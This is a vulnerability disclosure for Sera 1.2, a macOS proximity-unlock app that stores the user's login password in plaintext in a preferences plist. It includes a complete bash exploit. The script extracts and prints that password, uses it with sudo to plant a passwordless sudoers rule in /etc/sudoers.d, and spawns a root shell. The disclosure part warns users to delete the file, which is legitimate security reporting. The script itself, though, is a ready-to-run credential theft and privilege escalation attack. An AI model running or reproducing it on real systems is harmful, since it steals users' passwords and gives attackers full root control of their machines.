Sera 1.2 - Local Privilege Escalation / Password Disclosure

# Sera is a free app for mac and iOS that lets you unlock your mac automatically
# when your iphone is within a configured proximity.

# Unfortunately to facilitate this it stores the users login password in their
# home directory at:

# ~/Library/Preferences/no.ignitum.SeraOSX.plist

# This makes root privilege escalation trivial and worse than that even
# facilitates dumping the keychain as we can easily obtain the user's login
# password. If they are an admin user we can even dump items from the system
# keychain.

# The author of Sera has said he will shut the project down and make the code
# publicly available so no fix is likely to be forthcoming anytime soon.

# It is strongly recommended not to use this app and if you have done so in the
# past make sure you remove this file that contains your login password.

# https://m4.rkw.io/sera_1.2.sh.txt
# dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
# -------------------------------------------------------------------------
#!/bin/bash

##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html           ######
##############################################################

sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`

if [ "$sera_pass" == "" ] ; then
  echo "Password not found."
  exit 1
fi

echo "user's password is: $sera_pass"

user="`whoami`"

echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp

echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null

sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'